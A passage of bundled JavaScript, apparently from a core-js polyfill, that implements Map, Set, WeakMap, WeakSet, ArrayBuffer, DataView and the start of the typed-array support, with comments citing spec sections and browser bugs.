				// for early implementations -0 and +0 not the same

				var BUGGY_ZERO = !IS_WEAK && _fails(function () {
					// V8 ~ Chromium 42- fails only with 5+ elements
					var $instance = new C();
					var index = 5;

					while (index--) {
						$instance[ADDER](index, index);
					}

					return !$instance.has(-0);
				});

				if (!ACCEPT_ITERABLES) {
					C = wrapper(function (target, iterable) {
						_anInstance(target, C, NAME);
						var that = _inheritIfRequired(new Base(), target, C);
						if (iterable != undefined) _forOf(iterable, IS_MAP, that[ADDER], that);
						return that;
					});
					C.prototype = proto;
					proto.constructor = C;
				}

				if (THROWS_ON_PRIMITIVES || BUGGY_ZERO) {
					fixMethod('delete');
					fixMethod('has');
					IS_MAP && fixMethod('get');
				}

				if (BUGGY_ZERO || HASNT_CHAINING) fixMethod(ADDER); // weak collections should not contains .clear method

				if (IS_WEAK && proto.clear) delete proto.clear;
			}

			_setToStringTag(C, NAME);
			O[NAME] = C;
			_export(_export.G + _export.W + _export.F * (C != Base), O);
			if (!IS_WEAK) common.setStrong(C, NAME, IS_MAP);
			return C;
		};

		var MAP = 'Map'; // 23.1 Map Objects

		var es6_map = _collection(MAP, function (get) {
			return function Map() {
				return get(this, arguments.length > 0 ? arguments[0] : undefined);
			};
		}, {
			// 23.1.3.6 Map.prototype.get(key)
			get: function get(key) {
				var entry = _collectionStrong.getEntry(_validateCollection(this, MAP), key);
				return entry && entry.v;
			},
			// 23.1.3.9 Map.prototype.set(key, value)
			set: function set(key, value) {
				return _collectionStrong.def(_validateCollection(this, MAP), key === 0 ? 0 : key, value);
			}
		}, _collectionStrong, true);

		var SET = 'Set'; // 23.2 Set Objects

		var es6_set = _collection(SET, function (get) {
			return function Set() {
				return get(this, arguments.length > 0 ? arguments[0] : undefined);
			};
		}, {
			// 23.2.3.1 Set.prototype.add(value)
			add: function add(value) {
				return _collectionStrong.def(_validateCollection(this, SET), value = value === 0 ? 0 : value, value);
			}
		}, _collectionStrong);

		var getWeak = _meta.getWeak;















		var arrayFind = _arrayMethods(5);
		var arrayFindIndex = _arrayMethods(6);
		var id$1 = 0; // fallback for uncaught frozen keys

		var uncaughtFrozenStore = function uncaughtFrozenStore(that) {
			return that._l || (that._l = new UncaughtFrozenStore());
		};

		var UncaughtFrozenStore = function UncaughtFrozenStore() {
			this.a = [];
		};

		var findUncaughtFrozen = function findUncaughtFrozen(store, key) {
			return arrayFind(store.a, function (it) {
				return it[0] === key;
			});
		};

		UncaughtFrozenStore.prototype = {
			get: function get(key) {
				var entry = findUncaughtFrozen(this, key);
				if (entry) return entry[1];
			},
			has: function has(key) {
				return !!findUncaughtFrozen(this, key);
			},
			set: function set(key, value) {
				var entry = findUncaughtFrozen(this, key);
				if (entry) entry[1] = value;else this.a.push([key, value]);
			},
			'delete': function _delete(key) {
				var index = arrayFindIndex(this.a, function (it) {
					return it[0] === key;
				});
				if (~index) this.a.splice(index, 1);
				return !!~index;
			}
		};
		var _collectionWeak = {
			getConstructor: function getConstructor(wrapper, NAME, IS_MAP, ADDER) {
				var C = wrapper(function (that, iterable) {
					_anInstance(that, C, NAME, '_i');
					that._t = NAME; // collection type

					that._i = id$1++; // collection id

					that._l = undefined; // leak store for uncaught frozen objects

					if (iterable != undefined) _forOf(iterable, IS_MAP, that[ADDER], that);
				});
				_redefineAll(C.prototype, {
					// 23.3.3.2 WeakMap.prototype.delete(key)
					// 23.4.3.3 WeakSet.prototype.delete(value)
					'delete': function _delete(key) {
						if (!_isObject(key)) return false;
						var data = getWeak(key);
						if (data === true) return uncaughtFrozenStore(_validateCollection(this, NAME))['delete'](key);
						return data && _has(data, this._i) && delete data[this._i];
					},
					// 23.3.3.4 WeakMap.prototype.has(key)
					// 23.4.3.4 WeakSet.prototype.has(value)
					has: function has(key) {
						if (!_isObject(key)) return false;
						var data = getWeak(key);
						if (data === true) return uncaughtFrozenStore(_validateCollection(this, NAME)).has(key);
						return data && _has(data, this._i);
					}
				});
				return C;
			},
			def: function def(that, key, value) {
				var data = getWeak(_anObject(key), true);
				if (data === true) uncaughtFrozenStore(that).set(key, value);else data[that._i] = value;
				return that;
			},
			ufstore: uncaughtFrozenStore
		};

		var es6_weakMap = createCommonjsModule(function (module) {

			var each = _arrayMethods(0);















			var WEAK_MAP = 'WeakMap';
			var getWeak = _meta.getWeak;
			var isExtensible = Object.isExtensible;
			var uncaughtFrozenStore = _collectionWeak.ufstore;
			var tmp = {};
			var InternalMap;

			var wrapper = function wrapper(get) {
				return function WeakMap() {
					return get(this, arguments.length > 0 ? arguments[0] : undefined);
				};
			};

			var methods = {
				// 23.3.3.3 WeakMap.prototype.get(key)
				get: function get(key) {
					if (_isObject(key)) {
						var data = getWeak(key);
						if (data === true) return uncaughtFrozenStore(_validateCollection(this, WEAK_MAP)).get(key);
						return data ? data[this._i] : undefined;
					}
				},
				// 23.3.3.5 WeakMap.prototype.set(key, value)
				set: function set(key, value) {
					return _collectionWeak.def(_validateCollection(this, WEAK_MAP), key, value);
				}
			}; // 23.3 WeakMap Objects

			var $WeakMap = module.exports = _collection(WEAK_MAP, wrapper, methods, _collectionWeak, true, true); // IE11 WeakMap frozen keys fix


			if (_fails(function () {
				return new $WeakMap().set((Object.freeze || Object)(tmp), 7).get(tmp) != 7;
			})) {
				InternalMap = _collectionWeak.getConstructor(wrapper, WEAK_MAP);
				_objectAssign(InternalMap.prototype, methods);
				_meta.NEED = true;
				each(['delete', 'has', 'get', 'set'], function (key) {
					var proto = $WeakMap.prototype;
					var method = proto[key];
					_redefine(proto, key, function (a, b) {
						// store frozen objects on internal weakmap shim
						if (_isObject(a) && !isExtensible(a)) {
							if (!this._f) this._f = new InternalMap();

							var result = this._f[key](a, b);

							return key == 'set' ? this : result; // store all the rest on native weakmap
						}

						return method.call(this, a, b);
					});
				});
			}
		});

		var WEAK_SET = 'WeakSet'; // 23.4 WeakSet Objects

		_collection(WEAK_SET, function (get) {
			return function WeakSet() {
				return get(this, arguments.length > 0 ? arguments[0] : undefined);
			};
		}, {
			// 23.4.3.1 WeakSet.prototype.add(value)
			add: function add(value) {
				return _collectionWeak.def(_validateCollection(this, WEAK_SET), value, true);
			}
		}, _collectionWeak, false, true);

		var TYPED = _uid('typed_array');
		var VIEW = _uid('view');
		var ABV = !!(_global.ArrayBuffer && _global.DataView);
		var CONSTR = ABV;
		var i$1 = 0;
		var l = 9;
		var Typed;
		var TypedArrayConstructors = 'Int8Array,Uint8Array,Uint8ClampedArray,Int16Array,Uint16Array,Int32Array,Uint32Array,Float32Array,Float64Array'.split(',');

		while (i$1 < l) {
			if (Typed = _global[TypedArrayConstructors[i$1++]]) {
				_hide(Typed.prototype, TYPED, true);
				_hide(Typed.prototype, VIEW, true);
			} else CONSTR = false;
		}

		var _typed = {
			ABV: ABV,
			CONSTR: CONSTR,
			TYPED: TYPED,
			VIEW: VIEW
		};

		// https://tc39.github.io/ecma262/#sec-toindex




		var _toIndex = function (it) {
			if (it === undefined) return 0;
			var number = _toInteger(it);
			var length = _toLength(number);
			if (number !== length) throw RangeError('Wrong length!');
			return length;
		};

		var _typedBuffer = createCommonjsModule(function (module, exports) {























			var gOPN = _objectGopn.f;

			var dP = _objectDp.f;





			var ARRAY_BUFFER = 'ArrayBuffer';
			var DATA_VIEW = 'DataView';
			var PROTOTYPE = 'prototype';
			var WRONG_LENGTH = 'Wrong length!';
			var WRONG_INDEX = 'Wrong index!';
			var $ArrayBuffer = _global[ARRAY_BUFFER];
			var $DataView = _global[DATA_VIEW];
			var Math = _global.Math;
			var RangeError = _global.RangeError; // eslint-disable-next-line no-shadow-restricted-names

			var Infinity = _global.Infinity;
			var BaseBuffer = $ArrayBuffer;
			var abs = Math.abs;
			var pow = Math.pow;
			var floor = Math.floor;
			var log = Math.log;
			var LN2 = Math.LN2;
			var BUFFER = 'buffer';
			var BYTE_LENGTH = 'byteLength';
			var BYTE_OFFSET = 'byteOffset';
			var $BUFFER = _descriptors ? '_b' : BUFFER;
			var $LENGTH = _descriptors ? '_l' : BYTE_LENGTH;
			var $OFFSET = _descriptors ? '_o' : BYTE_OFFSET; // IEEE754 conversions based on https://github.com/feross/ieee754

			function packIEEE754(value, mLen, nBytes) {
				var buffer = new Array(nBytes);
				var eLen = nBytes * 8 - mLen - 1;
				var eMax = (1 << eLen) - 1;
				var eBias = eMax >> 1;
				var rt = mLen === 23 ? pow(2, -24) - pow(2, -77) : 0;
				var i = 0;
				var s = value < 0 || value === 0 && 1 / value < 0 ? 1 : 0;
				var e, m, c;
				value = abs(value); // eslint-disable-next-line no-self-compare

				if (value != value || value === Infinity) {
					// eslint-disable-next-line no-self-compare
					m = value != value ? 1 : 0;
					e = eMax;
				} else {
					e = floor(log(value) / LN2);

					if (value * (c = pow(2, -e)) < 1) {
						e--;
						c *= 2;
					}

					if (e + eBias >= 1) {
						value += rt / c;
					} else {
						value += rt * pow(2, 1 - eBias);
					}

					if (value * c >= 2) {
						e++;
						c /= 2;
					}

					if (e + eBias >= eMax) {
						m = 0;
						e = eMax;
					} else if (e + eBias >= 1) {
						m = (value * c - 1) * pow(2, mLen);
						e = e + eBias;
					} else {
						m = value * pow(2, eBias - 1) * pow(2, mLen);
						e = 0;
					}
				}

				for (; mLen >= 8; buffer[i++] = m & 255, m /= 256, mLen -= 8) {
				}

				e = e << mLen | m;
				eLen += mLen;

				for (; eLen > 0; buffer[i++] = e & 255, e /= 256, eLen -= 8) {
				}

				buffer[--i] |= s * 128;
				return buffer;
			}

			function unpackIEEE754(buffer, mLen, nBytes) {
				var eLen = nBytes * 8 - mLen - 1;
				var eMax = (1 << eLen) - 1;
				var eBias = eMax >> 1;
				var nBits = eLen - 7;
				var i = nBytes - 1;
				var s = buffer[i--];
				var e = s & 127;
				var m;
				s >>= 7;

				for (; nBits > 0; e = e * 256 + buffer[i], i--, nBits -= 8) {
				}

				m = e & (1 << -nBits) - 1;
				e >>= -nBits;
				nBits += mLen;

				for (; nBits > 0; m = m * 256 + buffer[i], i--, nBits -= 8) {
				}

				if (e === 0) {
					e = 1 - eBias;
				} else if (e === eMax) {
					return m ? NaN : s ? -Infinity : Infinity;
				} else {
					m = m + pow(2, mLen);
					e = e - eBias;
				}

				return (s ? -1 : 1) * m * pow(2, e - mLen);
			}

			function unpackI32(bytes) {
				return bytes[3] << 24 | bytes[2] << 16 | bytes[1] << 8 | bytes[0];
			}

			function packI8(it) {
				return [it & 0xff];
			}

			function packI16(it) {
				return [it & 0xff, it >> 8 & 0xff];
			}

			function packI32(it) {
				return [it & 0xff, it >> 8 & 0xff, it >> 16 & 0xff, it >> 24 & 0xff];
			}

			function packF64(it) {
				return packIEEE754(it, 52, 8);
			}

			function packF32(it) {
				return packIEEE754(it, 23, 4);
			}

			function addGetter(C, key, internal) {
				dP(C[PROTOTYPE], key, {
					get: function get() {
						return this[internal];
					}
				});
			}

			function get(view, bytes, index, isLittleEndian) {
				var numIndex = +index;
				var intIndex = _toIndex(numIndex);
				if (intIndex + bytes > view[$LENGTH]) throw RangeError(WRONG_INDEX);
				var store = view[$BUFFER]._b;
				var start = intIndex + view[$OFFSET];
				var pack = store.slice(start, start + bytes);
				return isLittleEndian ? pack : pack.reverse();
			}

			function set(view, bytes, index, conversion, value, isLittleEndian) {
				var numIndex = +index;
				var intIndex = _toIndex(numIndex);
				if (intIndex + bytes > view[$LENGTH]) throw RangeError(WRONG_INDEX);
				var store = view[$BUFFER]._b;
				var start = intIndex + view[$OFFSET];
				var pack = conversion(+value);

				for (var i = 0; i < bytes; i++) {
					store[start + i] = pack[isLittleEndian ? i : bytes - i - 1];
				}
			}

			if (!_typed.ABV) {
				$ArrayBuffer = function ArrayBuffer(length) {
					_anInstance(this, $ArrayBuffer, ARRAY_BUFFER);
					var byteLength = _toIndex(length);
					this._b = _arrayFill.call(new Array(byteLength), 0);
					this[$LENGTH] = byteLength;
				};

				$DataView = function DataView(buffer, byteOffset, byteLength) {
					_anInstance(this, $DataView, DATA_VIEW);
					_anInstance(buffer, $ArrayBuffer, DATA_VIEW);
					var bufferLength = buffer[$LENGTH];
					var offset = _toInteger(byteOffset);
					if (offset < 0 || offset > bufferLength) throw RangeError('Wrong offset!');
					byteLength = byteLength === undefined ? bufferLength - offset : _toLength(byteLength);
					if (offset + byteLength > bufferLength) throw RangeError(WRONG_LENGTH);
					this[$BUFFER] = buffer;
					this[$OFFSET] = offset;
					this[$LENGTH] = byteLength;
				};

				if (_descriptors) {
					addGetter($ArrayBuffer, BYTE_LENGTH, '_l');
					addGetter($DataView, BUFFER, '_b');
					addGetter($DataView, BYTE_LENGTH, '_l');
					addGetter($DataView, BYTE_OFFSET, '_o');
				}

				_redefineAll($DataView[PROTOTYPE], {
					getInt8: function getInt8(byteOffset) {
						return get(this, 1, byteOffset)[0] << 24 >> 24;
					},
					getUint8: function getUint8(byteOffset) {
						return get(this, 1, byteOffset)[0];
					},
					getInt16: function getInt16(byteOffset
												/* , littleEndian */
					) {
						var bytes = get(this, 2, byteOffset, arguments[1]);
						return (bytes[1] << 8 | bytes[0]) << 16 >> 16;
					},
					getUint16: function getUint16(byteOffset
												  /* , littleEndian */
					) {
						var bytes = get(this, 2, byteOffset, arguments[1]);
						return bytes[1] << 8 | bytes[0];
					},
					getInt32: function getInt32(byteOffset
												/* , littleEndian */
					) {
						return unpackI32(get(this, 4, byteOffset, arguments[1]));
					},
					getUint32: function getUint32(byteOffset
												  /* , littleEndian */
					) {
						return unpackI32(get(this, 4, byteOffset, arguments[1])) >>> 0;
					},
					getFloat32: function getFloat32(byteOffset
													/* , littleEndian */
					) {
						return unpackIEEE754(get(this, 4, byteOffset, arguments[1]), 23, 4);
					},
					getFloat64: function getFloat64(byteOffset
													/* , littleEndian */
					) {
						return unpackIEEE754(get(this, 8, byteOffset, arguments[1]), 52, 8);
					},
					setInt8: function setInt8(byteOffset, value) {
						set(this, 1, byteOffset, packI8, value);
					},
					setUint8: function setUint8(byteOffset, value) {
						set(this, 1, byteOffset, packI8, value);
					},
					setInt16: function setInt16(byteOffset, value
												/* , littleEndian */
					) {
						set(this, 2, byteOffset, packI16, value, arguments[2]);
					},
					setUint16: function setUint16(byteOffset, value
												  /* , littleEndian */
					) {
						set(this, 2, byteOffset, packI16, value, arguments[2]);
					},
					setInt32: function setInt32(byteOffset, value
												/* , littleEndian */
					) {
						set(this, 4, byteOffset, packI32, value, arguments[2]);
					},
					setUint32: function setUint32(byteOffset, value
												  /* , littleEndian */
					) {
						set(this, 4, byteOffset, packI32, value, arguments[2]);
					},
					setFloat32: function setFloat32(byteOffset, value
													/* , littleEndian */
					) {
						set(this, 4, byteOffset, packF32, value, arguments[2]);
					},
					setFloat64: function setFloat64(byteOffset, value
													/* , littleEndian */
					) {
						set(this, 8, byteOffset, packF64, value, arguments[2]);
					}
				});
			} else {
				if (!_fails(function () {
					$ArrayBuffer(1);
				}) || !_fails(function () {
					new $ArrayBuffer(-1); // eslint-disable-line no-new
				}) || _fails(function () {
					new $ArrayBuffer(); // eslint-disable-line no-new

					new $ArrayBuffer(1.5); // eslint-disable-line no-new

					new $ArrayBuffer(NaN); // eslint-disable-line no-new

					return $ArrayBuffer.name != ARRAY_BUFFER;
				})) {
					$ArrayBuffer = function ArrayBuffer(length) {
						_anInstance(this, $ArrayBuffer);
						return new BaseBuffer(_toIndex(length));
					};

					var ArrayBufferProto = $ArrayBuffer[PROTOTYPE] = BaseBuffer[PROTOTYPE];

					for (var keys = gOPN(BaseBuffer), j = 0, key; keys.length > j;) {
						if (!((key = keys[j++]) in $ArrayBuffer)) _hide($ArrayBuffer, key, BaseBuffer[key]);
					}

					ArrayBufferProto.constructor = $ArrayBuffer;
				} // iOS Safari 7.x bug


				var view = new $DataView(new $ArrayBuffer(2));
				var $setInt8 = $DataView[PROTOTYPE].setInt8;
				view.setInt8(0, 2147483648);
				view.setInt8(1, 2147483649);
				if (view.getInt8(0) || !view.getInt8(1)) _redefineAll($DataView[PROTOTYPE], {
					setInt8: function setInt8(byteOffset, value) {
						$setInt8.call(this, byteOffset, value << 24 >> 24);
					},
					setUint8: function setUint8(byteOffset, value) {
						$setInt8.call(this, byteOffset, value << 24 >> 24);
					}
				}, true);
			}

			_setToStringTag($ArrayBuffer, ARRAY_BUFFER);
			_setToStringTag($DataView, DATA_VIEW);
			_hide($DataView[PROTOTYPE], _typed.VIEW, true);
			exports[ARRAY_BUFFER] = $ArrayBuffer;
			exports[DATA_VIEW] = $DataView;
		});

		var ArrayBuffer = _global.ArrayBuffer;



		var $ArrayBuffer = _typedBuffer.ArrayBuffer;
		var $DataView = _typedBuffer.DataView;
		var $isView = _typed.ABV && ArrayBuffer.isView;
		var $slice = $ArrayBuffer.prototype.slice;
		var VIEW$1 = _typed.VIEW;
		var ARRAY_BUFFER = 'ArrayBuffer';
		_export(_export.G + _export.W + _export.F * (ArrayBuffer !== $ArrayBuffer), {
			ArrayBuffer: $ArrayBuffer
		});
		_export(_export.S + _export.F * !_typed.CONSTR, ARRAY_BUFFER, {
			// 24.1.3.1 ArrayBuffer.isView(arg)
			isView: function isView(it) {
				return $isView && $isView(it) || _isObject(it) && VIEW$1 in it;
			}
		});
		_export(_export.P + _export.U + _export.F * _fails(function () {
			return !new $ArrayBuffer(2).slice(1, undefined).byteLength;
		}), ARRAY_BUFFER, {
			// 24.1.4.3 ArrayBuffer.prototype.slice(start, end)
			slice: function slice(start, end) {
				if ($slice !== undefined && end === undefined) return $slice.call(_anObject(this), start); // FF fix

				var len = _anObject(this).byteLength;
				var first = _toAbsoluteIndex(start, len);
				var fin = _toAbsoluteIndex(end === undefined ? len : end, len);
				var result = new (_speciesConstructor(this, $ArrayBuffer))(_toLength(fin - first));
				var viewS = new $DataView(this);
				var viewT = new $DataView(result);
				var index = 0;

				while (first < fin) {
					viewT.setUint8(index++, viewS.getUint8(first++));
				}

				return result;
			}
		});

		_setSpecies(ARRAY_BUFFER);

		_export(_export.G + _export.W + _export.F * !_typed.ABV, {
			DataView: _typedBuffer.DataView
		});

		var _typedArray = createCommonjsModule(function (module) {

			if (_descriptors) {

				var global = _global;

				var fails = _fails;

				var $export = _export;

				var $typed = _typed;

				var $buffer = _typedBuffer;

				var ctx = _ctx;

				var anInstance = _anInstance;

				var propertyDesc = _propertyDesc;

				var hide = _hide;

				var redefineAll = _redefineAll;

				var toInteger = _toInteger;

				var toLength = _toLength;

				var toIndex = _toIndex;

				var toAbsoluteIndex = _toAbsoluteIndex;

				var toPrimitive = _toPrimitive;

				var has = _has;

				var classof = _classof;

				var isObject = _isObject;

				var toObject = _toObject;

				var isArrayIter = _isArrayIter;

				var create = _objectCreate;

				var getPrototypeOf = _objectGpo;

				var gOPN = _objectGopn.f;

				var getIterFn = core_getIteratorMethod;

				var uid = _uid;

				var wks = _wks;

				var createArrayMethod = _arrayMethods;

				var createArrayIncludes = _arrayIncludes;

				var speciesConstructor = _speciesConstructor;

				var ArrayIterators = es6_array_iterator;

				var Iterators = _iterators;

				var $iterDetect = _iterDetect;

				var setSpecies = _setSpecies;

				var arrayFill = _arrayFill;

				var arrayCopyWithin = _arrayCopyWithin;

				var $DP = _objectDp;

				var $GOPD = _objectGopd;

				var dP = $DP.f;
				var gOPD = $GOPD.f;
				var RangeError = global.RangeError;
				var TypeError = global.TypeError;
				var Uint8Array = global.Uint8Array;
				var ARRAY_BUFFER = 'ArrayBuffer';
				var SHARED_BUFFER = 'Shared' + ARRAY_BUFFER;
				var BYTES_PER_ELEMENT = 'BYTES_PER_ELEMENT';
				var PROTOTYPE = 'prototype';
				var ArrayProto = Array[PROTOTYPE];
				var $ArrayBuffer = $buffer.ArrayBuffer;
				var $DataView = $buffer.DataView;
				var arrayForEach = createArrayMethod(0);
				var arrayFilter = createArrayMethod(2);
				var arraySome = createArrayMethod(3);
				var arrayEvery = createArrayMethod(4);
				var arrayFind = createArrayMethod(5);
				var arrayFindIndex = createArrayMethod(6);
				var arrayIncludes = createArrayIncludes(true);
				var arrayIndexOf = createArrayIncludes(false);
				var arrayValues = ArrayIterators.values;
				var arrayKeys = ArrayIterators.keys;
				var arrayEntries = ArrayIterators.entries;
				var arrayLastIndexOf = ArrayProto.lastIndexOf;
				var arrayReduce = ArrayProto.reduce;
				var arrayReduceRight = ArrayProto.reduceRight;
				var arrayJoin = ArrayProto.join;
				var arraySort = ArrayProto.sort;
				var arraySlice = ArrayProto.slice;
				var arrayToString = ArrayProto.toString;
				var arrayToLocaleString = ArrayProto.toLocaleString;
				var ITERATOR = wks('iterator');
				var TAG = wks('toStringTag');
				var TYPED_CONSTRUCTOR = uid('typed_constructor');
				var DEF_CONSTRUCTOR = uid('def_constructor');
				var ALL_CONSTRUCTORS = $typed.CONSTR;
				var TYPED_ARRAY = $typed.TYPED;
				var VIEW = $typed.VIEW;
				var WRONG_LENGTH = 'Wrong length!';
				var $map = createArrayMethod(1, function (O, length) {
					return allocate(speciesConstructor(O, O[DEF_CONSTRUCTOR]), length);
				});
				var LITTLE_ENDIAN = fails(function () {
					// eslint-disable-next-line no-undef
					return new Uint8Array(new Uint16Array([1]).buffer)[0] === 1;
				});
				var FORCED_SET = !!Uint8Array && !!Uint8Array[PROTOTYPE].set && fails(function () {
					new Uint8Array(1).set({});
				});

				var toOffset = function toOffset(it, BYTES) {
					var offset = toInteger(it);
					if (offset < 0 || offset % BYTES) throw RangeError('Wrong offset!');
					return offset;
				};

				var validate = function validate(it) {
					if (isObject(it) && TYPED_ARRAY in it) return it;
					throw TypeError(it + ' is not a typed array!');
				};

				var allocate = function allocate(C, length) {
					if (!(isObject(C) && TYPED_CONSTRUCTOR in C)) {
						throw TypeError('It is not a typed array constructor!');
					}

					return new C(length);
				};

				var speciesFromList = function speciesFromList(O, list) {
					return fromList(speciesConstructor(O, O[DEF_CONSTRUCTOR]), list);
				};

				var fromList = function fromList(C, list) {
					var index = 0;
					var length = list.length;
					var result = allocate(C, length);

					while (length > index) {
						result[index] = list[index++];
					}

					return result;
				};

				var addGetter = function addGetter(it, key, internal) {
					dP(it, key, {
						get: function get() {
							return this._d[internal];
						}
					});
				};

				var $from = function from(source
										  /* , mapfn, thisArg */
				) {
					var O = toObject(source);
					var aLen = arguments.length;
					var mapfn = aLen > 1 ? arguments[1] : undefined;
					var mapping = mapfn !== undefined;
					var iterFn = getIterFn(O);
					var i, length, values, result, step, iterator;

					if (iterFn != undefined && !isArrayIter(iterFn)) {
						for (iterator = iterFn.call(O), values = [], i = 0; !(step = iterator.next()).done; i++) {
							values.push(step.value);
						}

						O = values;
					}

					if (mapping && aLen > 2) mapfn = ctx(mapfn, arguments[2], 2);

					for (i = 0, length = toLength(O.length), result = allocate(this, length); length > i; i++) {
						result[i] = mapping ? mapfn(O[i], i) : O[i];
					}

					return result;
				};

				var $of = function of()
					/* ...items */
				{
					var index = 0;
					var length = arguments.length;
					var result = allocate(this, length);

					while (length > index) {
						result[index] = arguments[index++];
					}

					return result;
				}; // iOS Safari 6.x fails here


				var TO_LOCALE_BUG = !!Uint8Array && fails(function () {
					arrayToLocaleString.call(new Uint8Array(1));
				});

				var $toLocaleString = function toLocaleString() {
					return arrayToLocaleString.apply(TO_LOCALE_BUG ? arraySlice.call(validate(this)) : validate(this), arguments);
				};

				var proto = {
					copyWithin: function copyWithin(target, start
													/* , end */
					) {
						return arrayCopyWithin.call(validate(this), target, start, arguments.length > 2 ? arguments[2] : undefined);
					},
					every: function every(callbackfn
										  /* , thisArg */
					) {
						return arrayEvery(validate(this), callbackfn, arguments.length > 1 ? arguments[1] : undefined);
					},
					fill: function fill(value
										/* , start, end */
					) {
						// eslint-disable-line no-unused-vars
						return arrayFill.apply(validate(this), arguments);
					},
					filter: function filter(callbackfn
											/* , thisArg */
					) {
						return speciesFromList(this, arrayFilter(validate(this), callbackfn, arguments.length > 1 ? arguments[1] : undefined));
					},
					find: function find(predicate
										/* , thisArg */
					) {
						return arrayFind(validate(this), predicate, arguments.length > 1 ? arguments[1] : undefined);
					},
					findIndex: function findIndex(predicate
												  /* , thisArg */
					) {
						return arrayFindIndex(validate(this), predicate, arguments.length > 1 ? arguments[1] : undefined);
					},
					forEach: function forEach(callbackfn
											  /* , thisArg */
					) {
						arrayForEach(validate(this), callbackfn, arguments.length > 1 ? arguments[1] : undefined);
					},
					indexOf: function indexOf(searchElement
											  /* , fromIndex */
					) {
						return arrayIndexOf(validate(this), searchElement, arguments.length > 1 ? arguments[1] : undefined);
					},
					includes: function includes(searchElement
												/* , fromIndex */
					) {
						return arrayIncludes(validate(this), searchElement, arguments.length > 1 ? arguments[1] : undefined);
					},
					join: function join(separator) {
						// eslint-disable-line no-unused-vars
						return arrayJoin.apply(validate(this), arguments);
					},
					lastIndexOf: function lastIndexOf(searchElement
													  /* , fromIndex */
					) {
						// eslint-disable-line no-unused-vars
						return arrayLastIndexOf.apply(validate(this), arguments);
					},
					map: function map(mapfn
									  /* , thisArg */
					) {
						return $map(validate(this), mapfn, arguments.length > 1 ? arguments[1] : undefined);
					},
					reduce: function reduce(callbackfn
											/* , initialValue */
					) {
						// eslint-disable-line no-unused-vars
						return arrayReduce.apply(validate(this), arguments);
					},
					reduceRight: function reduceRight(callbackfn
													  /* , initialValue */
					) {
						// eslint-disable-line no-unused-vars
						return arrayReduceRight.apply(validate(this), arguments);
					},
					reverse: function reverse() {
						var that = this;
						var length = validate(that).length;
						var middle = Math.floor(length / 2);
						var index = 0;
						var value;

						while (index < middle) {
							value = that[index];
							that[index++] = that[--length];
							that[length] = value;
						}

						return that;
					},
					some: function some(callbackfn
										/* , thisArg */
					) {
						return arraySome(validate(this), callbackfn, arguments.length > 1 ? arguments[1] : undefined);
					},
					sort: function sort(comparefn) {
						return arraySort.call(validate(this), comparefn);
					},
					subarray: function subarray(begin, end) {
						var O = validate(this);
						var length = O.length;
						var $begin = toAbsoluteIndex(begin, length);
						return new (speciesConstructor(O, O[DEF_CONSTRUCTOR]))(O.buffer, O.byteOffset + $begin * O.BYTES_PER_ELEMENT, toLength((end === undefined ? length : toAbsoluteIndex(end, length)) - $begin));
					}
				};

				var $slice = function slice(start, end) {
					return speciesFromList(this, arraySlice.call(validate(this), start, end));
				};

				var $set = function set(arrayLike
										/* , offset */
				) {
					validate(this);
					var offset = toOffset(arguments[1], 1);
					var length = this.length;
					var src = toObject(arrayLike);
					var len = toLength(src.length);
					var index = 0;
					if (len + offset > length) throw RangeError(WRONG_LENGTH);

					while (index < len) {
						this[offset + index] = src[index++];
					}
				};

				var $iterators = {
					entries: function entries() {
						return arrayEntries.call(validate(this));
					},
					keys: function keys() {
						return arrayKeys.call(validate(this));
					},
					values: function values() {
						return arrayValues.call(validate(this));
					}
				};

				var isTAIndex = function isTAIndex(target, key) {
					return isObject(target) && target[TYPED_ARRAY] && babelHelpers.typeof(key) != 'symbol' && key in target && String(+key) == String(key);
				};

				var $getDesc = function getOwnPropertyDescriptor(target, key) {
					return isTAIndex(target, key = toPrimitive(key, true)) ? propertyDesc(2, target[key]) : gOPD(target, key);
				};

				var $setDesc = function defineProperty(target, key, desc) {
					if (isTAIndex(target, key = toPrimitive(key, true)) && isObject(desc) && has(desc, 'value') && !has(desc, 'get') && !has(desc, 'set') // TODO: add validation descriptor w/o calling accessors
						&& !desc.configurable && (!has(desc, 'writable') || desc.writable) && (!has(desc, 'enumerable') || desc.enumerable)) {
						target[key] = desc.value;
						return target;
					}

					return dP(target, key, desc);
				};

				if (!ALL_CONSTRUCTORS) {
					$GOPD.f = $getDesc;
					$DP.f = $setDesc;
				}

				$export($export.S + $export.F * !ALL_CONSTRUCTORS, 'Object', {
					getOwnPropertyDescriptor: $getDesc,
					defineProperty: $setDesc
				});

				if (fails(function () {
					arrayToString.call({});
				})) {
					arrayToString = arrayToLocaleString = function toString() {
						return arrayJoin.call(this);
					};
				}

				var $TypedArrayPrototype$ = redefineAll({}, proto);
				redefineAll($TypedArrayPrototype$, $iterators);
				hide($TypedArrayPrototype$, ITERATOR, $iterators.values);
				redefineAll($TypedArrayPrototype$, {
					slice: $slice,
					set: $set,
					constructor: function constructor() {
						/* noop */
					},
					toString: arrayToString,
					toLocaleString: $toLocaleString
				});
				addGetter($TypedArrayPrototype$, 'buffer', 'b');
				addGetter($TypedArrayPrototype$, 'byteOffset', 'o');
				addGetter($TypedArrayPrototype$, 'byteLength', 'l');
				addGetter($TypedArrayPrototype$, 'length', 'e');
				dP($TypedArrayPrototype$, TAG, {
					get: function get() {
						return this[TYPED_ARRAY];
					}
				}); // eslint-disable-next-line max-statements

				module.exports = function (KEY, BYTES, wrapper, CLAMPED) {
					CLAMPED = !!CLAMPED;
					var NAME = KEY + (CLAMPED ? 'Clamped' : '') + 'Array';
					var GETTER = 'get' + KEY;
					var SETTER = 'set' + KEY;
					var TypedArray = global[NAME];
					var Base = TypedArray || {};
					var TAC = TypedArray && getPrototypeOf(TypedArray);
					var FORCED = !TypedArray || !$typed.ABV;
					var O = {};
					var TypedArrayPrototype = TypedArray && TypedArray[PROTOTYPE];

					var getter = function getter(that, index) {
						var data = that._d;
						return data.v[GETTER](index * BYTES + data.o, LITTLE_ENDIAN);
					};

					var setter = function setter(that, index, value) {
						var data = that._d;
						if (CLAMPED) value = (value = Math.round(value)) < 0 ? 0 : value > 0xff ? 0xff : value & 0xff;
						data.v[SETTER](index * BYTES + data.o, value, LITTLE_ENDIAN);
					};

					var addElement = function addElement(that, index) {
						dP(that, index, {
							get: function get() {
								return getter(this, index);
							},
							set: function set(value) {
								return setter(this, index, value);
							},
							enumerable: true
						});
					};

					if (FORCED) {
						TypedArray = wrapper(function (that, data, $offset, $length) {
							anInstance(that, TypedArray, NAME, '_d');
							var index = 0;
							var offset = 0;
							var buffer, byteLength, length, klass;

							if (!isObject(data)) {
								length = toIndex(data);
								byteLength = length * BYTES;
